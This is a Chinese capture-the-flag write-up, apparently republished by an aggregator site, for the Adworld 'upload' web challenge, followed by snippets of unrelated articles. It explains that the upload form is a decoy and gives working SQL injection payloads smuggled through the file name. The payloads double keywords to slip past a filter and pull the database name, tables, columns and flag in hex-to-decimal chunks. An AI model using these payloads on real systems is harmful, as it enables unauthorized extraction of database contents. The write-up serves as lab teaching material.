攻防世界-web-upload

1. 题目描述

打开链接,是这样的一个注册界面

先试着注册一个账号看看,这里简单操作,注册test/test,注册完后进行登录

登录成功后进入到这样一个文件上传界面。当前从界面上得到的信息暂时就是这些了。

2. 思路分析

既然存在上传,那么大概率上传点存在漏洞,我们先试试随便上传一个php文件

这里提示很明显了,说明存在WAF,对我们的文件拓展名进行了限制

试着修改下文件后缀,这里修改为jpg格式的,提示我们上传成功

既然上传成功了,试着用蚁剑连接下,发现失败,不过也正常,我们不知道文件的存储路径,而且上传的不是php。

除了文件上传外,是否还有其它的思路呢?我们注意到我们输入的文件名进行了回显,这里就可能存在sql注入,我们简单试下

注意到我们传入select关键字时,回显值中已经没有select了,说明被过滤掉了,为什么要过滤select呢?说明这里大概率存在sql注入。

好了,经过简单的验证,虽然说这道题名字取的是文件上传,但是实际上是文件名sql注入。

3. 解题过程

从上面的截图来看,实际上这道题是存在WAF的,因为过滤了select,那么我们首先要考虑的是如何绕过WAF

3.1 绕过WAF的限制

既然存在sql注入,那么select,from等关键字必须存在绕过方法,试了下大小写无法绕过,但是双写可以

试着查看下数据库

发现回显是0,说明这里大概率对回显进行了限制,而且限制了必须为数字,因此我们需要对sql查询语句进行调整,使得查出来的都是数字,这里做法是先转成16进制,再转化为10进制

但是回显后发现变成科学计数法了,因此我们每次只能取一部分字符,这里验证了一下,每次最多只能取12个字符,如果取13个,取出来的值就会变成科学计数法表示。

此时的文件名为:a' +(selecselectt conv(substr(hex(database()), 1, 12), 16, 10))+ '.jpg

然后再将这个十进制转化为字符串,这里使用如下脚本即可

import sysnum = int(sys.argv[1])
# 10进制 -> 16进制
hex_num = hex(num)[2:]# 16进制 -> 字符串
bytes_data=bytes.fromhex(hex_num)
str=''.join(chr(byte) for byte in bytes_data)
print(str)

执行该脚本,转为的字符串为web_up

这个看上去不全,因此按照上述的步骤获取数据库名的后面的字符(这里注意文件数小于10个,如果超过10个,那么需要注销并重新登录)

继续将文件名设置为a' +(selecselectt conv(substr(hex(database()), 13, 12), 16, 10))+ '.jpg

所以,最终拼接起来,得到的数据库名为web_upload

3.2 重复上述步骤,进一步获取数据库中的其它字段(表名,列名,具体的值)

获取表名的payload如下:

a' +(selecselectt conv(substr(hex((seleselectct table_name frofromm information_schema.tables where table_schema='web_upload' limit 1, 1)), 1, 12), 16, 10))+ '.jpg

a' +(selecselectt conv(substr(hex((seleselectct table_name frofromm information_schema.tables where table_schema='web_upload' limit 1, 1)), 13, 12), 16, 10))+ '.jpg

a' +(selecselectt conv(substr(hex((seleselectct table_name frofromm information_schema.tables where table_schema='web_upload' limit 1, 1)), 25, 12), 16, 10))+ '.jpg

得到结果:

转换为字符串为:hello_flag_is_here

获取表中字段名的payload如下:

a' +(selecselectt conv(substr(hex((seleselectct column_name frofromm information_schema.columns where table_name='hello_flag_is_here' limit 0, 1)), 1, 12), 16, 10))+ '.jpg

a' +(selecselectt conv(substr(hex((seleselectct column_name frofromm information_schema.columns where table_name='hello_flag_is_here' limit 0, 1)), 13, 12), 16, 10))+ '.jpg

得到结果:

转换为字符串:i_am_flag

最后,查询表中字段值的payload如下:

a' +(selecselectt conv(substr(hex((seleselectct i_am_flag frofromm hello_flag_is_here)), 1, 12), 16, 10))+ '.jpg

a' +(selecselectt conv(substr(hex((seleselectct i_am_flag frofromm hello_flag_is_here)), 13, 12), 16, 10))+ '.jpg

a' +(selecselectt conv(substr(hex((seleselectct i_am_flag frofromm hello_flag_is_here)), 25, 12), 16, 10))+ '.jpg

得到结果:

同样转换成字符串得到flag为:!!_@m_Th.e_F!lag

4. 总结

整体来看,这道题属于一道综合性比较强的题目,虽然是文件上传,但是实际的攻击点在于sql注入,这里是有一点迷惑性的。然后就是针对sql注入,题目中也涉及到了各种sql绕过手段以及进制转化相关的知识点,因此这里还是有一定难度的,不过最终做出来的话也可以积累很多知识,收获很大。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/219033.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【ret2hbp】一道板子测试题 和 SCTF2023 - sycrpg

前言 ret2hbp 主要是利用在内核版本 v6.2.0 之前,cpu_entry_area mapping 区域没有参与随机化的利用。其主要针对的场景如下: 1)存在任意地址读,泄漏内核地址 2)存在无数次任意地址写,泄漏内核地址并提权…

HCIA-WLAN V3.0,那些重点要点

一、WLAN各个标准,工作频段,理论速率。 二、OFDM和OFDMA,工作频段,空间流。 三、三种帧类型:管理帧、控制帧、数据帧,CAPWAP报文和端口。 四、帧间间隔,波束成形,信道绑定&#xff0…

接口测试要测试什么?怎么测?

本文主要分为两个部分: 第一部分:主要从问题出发,引入接口测试的相关内容并与前端测试进行简单对比,总结两者之前的区别与联系 第二部分:主要介绍为什么要做接口测试,并简单总结接口持续集成和接口质量评估…

正确看待鸿蒙不兼容Android,这不是趋势?

华为可能明年推出不兼容安卓的鸿蒙版本。11月20日,据澎湃新闻报道,一华为相关人士表示,推出时间还不确定,未来IOS、鸿蒙、安卓将为三个各自独立的系统。 稍早前据证券时报报道,有业内人士亦表示:“华为内部…

Re59:读论文 Retrieval-Augmented Generation for Knowledge-Intensive NLP Tasks

诸神缄默不语-个人CSDN博文目录 诸神缄默不语的论文阅读笔记和分类 论文名称:Retrieval-Augmented Generation for Knowledge-Intensive NLP Tasks 模型开源地址:https://huggingface.co/facebook/rag-token-nq ArXiv下载地址:https://arxi…

Linux——MySQL数据库的使用

访问MySQL数据库 MySOL数据库系统也是一个典型的C/S(客户端/服务器)架构的应用,要访问MySOL数据库 需要使用专门的客户端软件,在Linux系统中,最简单、易用的MySQL.客户端软件是其自带的mysql 命令工具。 登录到MySQL服…

关于Cython生成的so动态链接库逆向

来个引子:TPCTF的maze题目 如何生成这个so文件 为了研究逆向,我们先搞个例子感受一下生成so的整个过程,方便后续分析 创建对应python库文件 testso.py def test_add(a,b):a int(a)b int(b)return a bdef test_calc(li):for i in range…

逆向思考 C. Fence Painting

Problem - 1481C - Codeforces 思路:逆序考虑,因为每一块木板都是被最后一次粉刷所决定的。 从后往前开始,对于 c i c_i ci​来说, 如果这个颜色还有没有涂的木板,那么涂到其中一个木板即可如果这个颜色下没有未涂的…

系统思考与啤酒游戏经营沙盘

结束一家汽车零配件公司《系统思考与啤酒游戏经营沙盘》的内训课,4个小组基本上都有共同的心智模式,这也代表团队有一些集体的盲点。不仅仅对啤酒游戏经营沙盘做了复盘,同时也借用学员画出的系统环路图完成真实案例的研讨以及团队共识&#x…

从零开始学机器学习,这些学习网站让你事半功倍!

介绍:机器学习是人工智能(AI)和计算机科学的一个分支,它专注于使用数据和算法,模仿人类学习的方式,逐步提高自身的准确性。更具体来说,机器学习是一门关于数据学习的科学技术,它能帮…

功能更新|免费敏捷工具Leangoo领歌私有部署新增第三方身份认证和API对接

Leangoo领歌是一款永久免费的专业的敏捷开发管理工具,提供端到端敏捷研发管理解决方案,涵盖敏捷需求管理、任务协同、进展跟踪、统计度量等。 Leangoo支持敏捷研发管理全流程,包括小型团队敏捷开发,规模化敏捷SAFe,Scr…

MySQL笔记-第11章_数据处理之增删改

视频链接:【MySQL数据库入门到大牛,mysql安装到优化,百科全书级,全网天花板】 文章目录 第11章_数据处理之增删改1. 插入数据1.1 实际问题1.2 方式1:VALUES的方式添加1.3 方式2:将查询结果插入到表中 2. 更…

三只松鼠坚持的“高端性价比”,也是零食行业通往未来的门票?

文 | 螳螂观察 作者 | 易不二 没有成功的企业,只有时代的企业。 从全球商业数百年的发展历史来看,一百年间有无数企业演绎了“诞生→发展→巅峰→衰亡”的宿命。即便此间已经走到了世界500强的企业,到现在存活下来的也仅有3%。 时代的潮流…

2023自动化测试框架大对比:哪个更胜一筹?

所谓工欲善其事,必先利其器,在进行自动化测试时,选择一个合适的框架是至关重要的。因为一个好的测试框架可以大大提高测试效率,减少我们很多工作量。在选择框架之前,我们通常需要对不同的框架进行对比,以便…

LeetCode:1631. 最小体力消耗路径(SPFA Java)

目录 1631. 最小体力消耗路径 题目描述: 实现代码与解析: BFSDP 原理思路: 1631. 最小体力消耗路径 题目描述: 你准备参加一场远足活动。给你一个二维 rows x columns 的地图 heights ,其中 heights[row][col] 表…

【后端学前端】第一天 css动画 内凹导航栏

1、学习信息 css动画 内凹导航栏_哔哩哔哩_bilibili 随便找的的视频&#xff0c;主要原因是在公司不方便有声音 2、源码 最终源码 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><title>Title</title…

boost编译静态库

版本1_83_0 下载地址https://boostorg.jfrog.io/artifactory/main/release/1.83.0/source/boost_1_83_0.zip 解压后根目录可见 参考方式&#xff1a;打开index.html 可通过此路径找到编译方法 进入getting started&#xff0c;右下角有linux和windows的下一步可选&#xff0…

美赛F奖经验分享,干货满满,快来查收!

2023年美赛结果出来之后&#xff0c;陆续有人给我发私信求经验&#xff0c;跟一些同学交流后我发现&#xff0c;很多人其实对美赛了解程度很少。我借此机会介绍一下美赛&#xff0c;并分享一下获奖经验。我的内容主要包括以下几个部分&#xff1a;美赛是什么、得奖分布、选题建…

redis-学习笔记(Jedis string 简单命令)

mset & mget 批量设置和获取键值对 可以看出,参数都是可变参数 (就是说, 可以写任意个) 代码演示 getrange & setrange 获取和设置 string 类型中 某一区间的值 代码演示 append 往字符串的末尾拼接字符串 代码演示 incr & decr 如果 string 中为数字的话, 可以进行…

支付系统中日志的具体落地,实现快速发现,快速报警,指标分析

日志规范 V1.0 适用范围&#xff1a;适用于通用服务日志&#xff08;如nginx/redis/mysql日志&#xff09;之外的所有线上落盘日志&#xff0c;包括服务端业务日志&#xff0c;BI日志&#xff0c;移动端APP日志。 实施范围&#xff1a;要求所有新业务模块以及深度重构的模块实…